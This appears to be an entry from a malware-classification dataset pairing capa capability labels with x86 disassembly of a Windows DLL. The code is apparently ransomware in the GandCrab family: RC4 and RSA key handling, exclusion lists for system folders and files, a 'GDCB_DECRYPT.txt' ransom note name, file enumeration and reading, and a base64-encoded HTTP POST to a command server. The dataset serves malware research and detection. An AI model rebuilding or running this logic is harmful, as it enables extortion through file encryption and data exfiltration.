joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005210
Capabilities:
Allocate or change rwx memory
Decode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
push ebx
push esi
push edi
mov ebx, ecx
mov dword [ebp - 0x1c], edx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push 0x40
push 0x3000
mov dword [ebp - 4], eax
lea esi, [eax + 1]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x20], eax
test eax, eax
je 0x1000524f
cmp dword [ebp - 4], esi
jae 0x1000524f
mov edi, eax
jmp 0x10005251
xor edi, edi
xor esi, esi
lea eax, [ebp - 4]
push esi
push esi
push eax
push edi
push 1
push esi
push ebx
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x10005385
mov eax, dword [0x1000fc80]
movq xmm0, qword [str.aeriedjDshasj]
mov esi, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov ax, word [0x1000fc84]
mov word [ebp - 0xc], ax
mov al, byte [0x1000fc86]
push 0xff
mov byte [ebp - 0xa], al
lea eax, [ebp - 0x11f]
push 0
push eax
movq qword [ebp - 0x18], xmm0
mov byte [ebp - 0x120], 0
call fcn.10009010
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x18]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x120]
call fcn.10005d70
push esi
mov edx, edi
lea ecx, [ebp - 0x120]
call fcn.10005e20
add esp, 8
lea ecx, [ebp - 0x18]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x18], xmm0
push edi
call fcn.100033e0
cmp dword [ebp - 0x18], 0
jne 0x1000538d
mov edi, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [0x10012a60]
test edi, edi
mov esi, dword [ebp - 0x10]
cmovne eax, ecx
mov dword [ebp - 8], 1
mov dword [0x10012a60], eax
test esi, esi
je 0x10005341
push 4
push 0x3000
push esi
call ebx
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
test eax, eax
je 0x10005341
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test edi, edi
je 0x1000535d
push edi
push 0
call eax
push eax
call ebx
mov eax, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test esi, esi
je 0x10005369
push esi
push 0
call eax
push eax
call ebx
mov esi, dword [ebp - 8]
push 0x8000
push 0
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1000536c
call fcn.10005190
int3
Function at 0x100053a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x404
push 0
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push 0x200
push esi
push 0
mov dword [ebp - 0x10], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [ebp - 0xc], ebx
cmp ebx, 0xffffffff
je 0x10005487
push 0
push 0
push 0
push 8
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10005480
push 0
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 8], eax
test eax, eax
je 0x10005477
lea esi, [eax + 0x4e]
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
xor ebx, ebx
lea edi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
je 0x10005468
mov ecx, esi
test bl, 1
jne 0x10005453
mov al, byte [esi]
inc esi
mov byte [ebx + edi], al
jmp 0x10005457
mov byte [ebx + edi], 0
push ecx
inc ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 4]
add eax, eax
cmp ebx, eax
jb 0x10005446
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov ebx, dword [ebp - 0xc]
mov esi, dword [ebp - 0x10]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100054a0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x488
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], edx
push edi
lea ecx, [ebp - 0x20]
mov dword [ebp - 8], ebx
call fcn.10007ce0
call fcn.10005060
push ebx
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x40
push 0x3000
lea edi, [eax*2 + 0x400]
lea eax, [edi + 1]
push eax
push 0
call esi
push 0x40
push 0x3000
push 0x32001
mov ebx, eax
push 0
mov dword [ebp - 0x18], ebx
call esi
mov dword [ebp - 0xc], eax
test ebx, ebx
je 0x1000550a
lea eax, [edi + 1]
cmp edi, eax
jb 0x1000550c
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.data
push ebx
call esi
push dword [ebp - 8]
push ebx
call esi
movdqu xmm0, xmmword [str.Content_Type:_application_x_www_form_urlencoded]
push ebx
movdqu xmmword [ebp - 0x84], xmm0
movdqu xmm0, xmmword [0x1000fb30]
movdqu xmmword [ebp - 0x74], xmm0
movdqu xmm0, xmmword [0x1000fb40]
movdqu xmmword [ebp - 0x64], xmm0
movdqu xmm0, xmmword [0x1000fb50]
movdqu xmmword [ebp - 0x54], xmm0
movdqu xmm0, xmmword [0x1000fb60]
movdqu xmmword [ebp - 0x44], xmm0
movdqu xmm0, xmmword [0x1000fb70]
movdqu xmmword [ebp - 0x34], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
xor edi, edi
lea eax, [ebp - 0x480]
push 0x3fc
push edi
push eax
mov dword [ebp - 0x484], edi
call fcn.10009010
add esp, 0xc
lea eax, [ebp - 0x484]
push str.curl.php_token
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea ecx, [ebp - 0x484]
call fcn.100053a0
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, dword [ebp - 0xc]
push eax
lea eax, [ebp - 0x84]
push eax
push str.POST
sub esp, 8
push 0x31fff
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x484]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.10007ef0
test eax, eax
je 0x10005628
cmp dword [ebp + 8], 0
mov edi, 1
je 0x10005628
lea edx, [ebp - 8]
mov dword [ebp - 8], 0
mov ecx, esi
call fcn.10005210
test eax, eax
je 0x10005626
mov eax, dword [ebp - 8]
test eax, eax
je 0x10005628
mov ecx, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x10005628
xor edi, edi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ebx
call esi
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
push 0x8000
push 0
push dword [ebp - 0x18]
call esi
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1000565e
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005670
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b4
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x4c02
push 0
mov esi, edx
mov dword [ebp - 8], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100056a6
lea ebx, [eax + 0x800]
mov edi, eax
jmp 0x100056aa
xor edi, edi
xor ebx, ebx
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
push dword [ebp - 8]
push str.actionresulte_files_de_size_I64ue_time_d
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
push ecx
push 0
sub esp, 0xc
push 0
push ecx
push 0
lea ecx, [ebp - 0xb0]
call fcn.100039f0
lea ecx, [ebp - 0xb0]
call fcn.10007330
lea ecx, [ebp - 0xb0]
call fcn.10007140
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [ebp - 0xb0]
lea eax, [edi + eax*2]
push eax
call fcn.10006f40
push edi
call esi
mov ecx, dword [0x1000fc80]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [ebp - 0x1af]
mov dword [ebp - 0x18], ecx
mov cx, word [0x1000fc84]
push 0xff
mov word [ebp - 0x14], cx
mov cl, byte [0x1000fc86]
push 0
push eax
movq qword [ebp - 0x20], xmm0
mov byte [ebp - 0x12], cl
mov byte [ebp - 0x1b0], 0
call fcn.10009010
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x1b0]
call fcn.10005d70
mov edx, dword [ebp - 4]
lea esi, [edi + edi]
add esp, 4
lea ecx, [ebp - 0x1b0]
push esi
call fcn.10005e20
add esp, 4
lea eax, [edi*8]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push 0x40000001
push esi
push dword [ebp - 4]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x100057c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push ebx
call edi
push 0x40
push 0x3000
lea esi, [eax + 4]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov dword [ebp - 8], eax
call edi
mov ecx, dword [ebp - 8]
add eax, 2
test ecx, ecx
je 0x100057f5
mov dword [ebp - 4], ecx
cmp eax, esi
jb 0x100057fc
mov dword [ebp - 4], 0
push ebx
xor esi, esi
call edi
test eax, eax
je 0x10005822
mov edi, dword [ebp - 4]
mov al, byte [esi + ebx]
cmp al, 0xa
je 0x10005816
cmp al, 0xd
je 0x10005816
mov byte [edi], al
inc edi
push ebx
inc esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp esi, eax
jb 0x10005808
mov ecx, dword [ebp - 4]
xor edx, edx
push 0
call fcn.100054a0
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
test eax, eax
mov ecx, 1
mov ebx, 0
cmovne ebx, ecx
push 0x8000
push 0
push dword [ebp - 8]
call esi
lea ecx, [ebp - 0xb0]
call fcn.10007c10
push 0x8000
push 0
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10005d70
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 0xc], edx
push 0xff
lea eax, [ebp - 0x10f]
mov dword [ebp - 0x10], edi
mov ebx, ecx
mov byte [ebp - 0x110], 0
push edi
push eax
mov dword [ebp - 8], ebx
call fcn.10009010
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x110]
add esp, 0xc
xor ecx, ecx
sub ebx, eax
mov eax, ecx
lea esi, [ebp - 0x110]
xor edx, edx
add esi, ecx
div dword [ebp + 8]
mov byte [ebx + esi], cl
inc ecx
mov al, byte [edx + edi]
mov byte [esi], al
cmp ecx, 0x100
jl 0x10005db2
mov esi, dword [ebp - 8]
lea ebx, [ebp - 0x110]
mov edi, dword [ebp - 0x10]
sub ebx, esi
mov dword [ebp - 4], 0x100
mov dl, byte [esi]
movsx eax, byte [ebx + esi]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0x10005e04
dec edi
or edi, 0xffffff00
inc edi
mov ecx, dword [ebp - 8]
mov al, byte [edi + ecx]
mov byte [esi], al
inc esi
dec dword [ebp - 4]
mov byte [edi + ecx], dl
jne 0x10005de7
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10005e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], edx
xor esi, esi
mov dword [ebp - 4], ecx
xor edi, edi
cmp dword [ebp + 8], ebx
jbe 0x10005ea2
lea ebx, [ebx]
inc esi
and esi, 0x800000ff
jns 0x10005e51
dec esi
or esi, 0xffffff00
inc esi
mov dl, byte [esi + ecx]
movzx eax, dl
add edi, eax
and edi, 0x800000ff
jns 0x10005e69
dec edi
or edi, 0xffffff00
inc edi
movzx eax, byte [edi + ecx]
mov byte [esi + ecx], al
mov byte [edi + ecx], dl
movzx ecx, byte [esi + ecx]
movzx eax, dl
add ecx, eax
and ecx, 0x800000ff
jns 0x10005e8c
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [ebp - 4]
movzx eax, byte [ecx + eax]
mov ecx, dword [ebp - 8]
xor byte [ebx + ecx], al
inc ebx
mov ecx, dword [ebp - 4]
cmp ebx, dword [ebp + 8]
jb 0x10005e40
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100062b0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006305
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x100062fe
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x100062fc
xor eax, eax
jmp 0x10006389
jmp 0x10006305
xor eax, eax
jmp 0x10006389
lea edx, [ebp - 8]
push edx
push 0x8000001
push 0xa400
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
jne 0x10006322
nop
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0
push 6
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 0x10]
push edx
push 0
push 7
push 0
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptExportKey]
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10006530
Capabilities:
Create new key via cryptacquirecontext
Encrypt or decrypt via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x10012a48
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x1000659e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x80090016
jne 0x10006597
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x10006595
xor eax, eax
jmp 0x1000663c
jmp 0x1000659e
xor eax, eax
jmp 0x1000663c
mov dword [ebp - 0xc], 0
lea edx, [ebp - 8]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x10006622
mov dword [ebp - 0x10], 0xa
push 0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x18]
push ecx
push 8
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptGetKeyParam]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [eax], 0xc8
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0
push 1
push 0
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0xc], 0
jne 0x10006622
mov ecx, dword [ebp - 0x14]
call fcn.100034f0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push 0x10012a48
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x10006640
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get program files directory

Disassembly:
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x201
push 0
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, str.ProgramData_
mov ecx, esi
mov edi, eax
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Program_Files_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Tor_Browser_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Ransomware
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.All_Users_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.Local_Settings_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov edx, str.:Windows_
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
mov ebx, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push eax
push 0x2a
push edi
push eax
call ebx
test eax, eax
je 0x10006705
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0
push 0x2b
push edi
push 0
call ebx
test eax, eax
je 0x1000671f
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0
push 0x24
push edi
push 0
call ebx
test eax, eax
je 0x10006739
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0
push 0x1c
push edi
push 0
call ebx
test eax, eax
je 0x10006753
mov edx, edi
mov ecx, esi
call fcn.10008090
test eax, eax
jne 0x1000676c
push 0x8000
push 0
push edi
mov esi, 1
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, esi
pop edi
pop esi
pop ebx
ret
push 0x8000
xor esi, esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
mov eax, esi
pop esi
pop ebx
ret

Function at 0x10006790
Capabilities:
Manipulate boot configuration

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov edi, ecx
push edi
call esi
push edi
mov ebx, eax
call esi
lea esi, [edi - 2]
lea esi, [esi + eax*2]
dec ebx
je 0x100067be
lea esp, [esp]
sub esi, 2
dec ebx
cmp word [esi], 0x5c
je 0x100067be
test ebx, ebx
jne 0x100067b0
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
add esi, 2
push str.desktop.ini
push esi
call edi
test eax, eax
jne 0x100067dc
pop edi
pop esi
mov eax, 1
pop ebx
ret
push str.autorun.inf
push esi
call edi
test eax, eax
je 0x100067d3
push str.ntuser.dat
push esi
call edi
test eax, eax
je 0x100067d3
push str.iconcache.db
push esi
call edi
test eax, eax
je 0x100067d3
push str.bootsect.bak
push esi
call edi
test eax, eax
je 0x100067d3
push str.boot.ini
push esi
call edi
test eax, eax
je 0x100067d3
push str.ntuser.dat.log
push esi
call edi
test eax, eax
je 0x100067d3
push str.thumbs.db
push esi
call edi
test eax, eax
je 0x100067d3
push str.GDCB_DECRYPT.txt
push esi
call edi
neg eax
pop edi
sbb eax, eax
pop esi
inc eax
pop ebx
ret
Function at 0x10006950
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0x40
push 0x3000
push 0x400
push 0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov ebx, eax
push 0x1000f41c
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov ecx, ebx
call fcn.10006850
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
test eax, eax
jne 0x100069af
cmp dword [edi + 0x20], 0xa
jb 0x100069af
mov ecx, ebx
call fcn.10006790
test eax, eax
je 0x100069ce
xorps xmm0, xmm0
movlpd qword [ebp - 8], xmm0
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 0xc]
mov ecx, ebx
call fcn.100035e0
mov edi, eax
mov esi, edx
jmp 0x100069b5
Function at 0x10006a40
Capabilities:
Enumerate files on windows
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0x1000fec4
push esi
lea ebx, [esi + eax*2]
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x268]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebx], ax
xor ebx, ebx
jmp 0x10006a90
push 0x1000fec8
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x10006bb2
push 0x1000fecc
lea eax, [ebp - 0x23c]
push eax
call edi
test eax, eax
je 0x10006bb2
lea eax, [ebp - 0x23c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax - 1]
lea ecx, [esi + ecx*2]
test eax, eax
je 0x10006ba8
nop
cmp word [ecx], 0x2e
je 0x10006aec
sub ecx, 2
dec eax
jne 0x10006ae0
test eax, eax
je 0x10006ba8
push str..sql
push ecx
call edi
test eax, eax
jne 0x10006ba8
push eax
push eax
push 3
push eax
push 1
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
xor eax, eax
mov dword [ebp - 8], eax
cmp edi, 0x40000000
jae 0x10006b92
push 4
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10006b8f
push 0
lea eax, [ebp - 0x14]
push eax
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10006b81
mov edx, str.
mov ecx, esi
call fcn.10008100
test eax, eax
je 0x10006b81
push str.
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esi + 1]
add ecx, eax
call fcn.100069e0
mov dword [ebp - 8], eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, dword [ebp - 0xc]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 8]
test ebx, ebx
jne 0x10006bca
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
jmp 0x10006baa
xor ebx, ebx
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x268]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10006a90
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret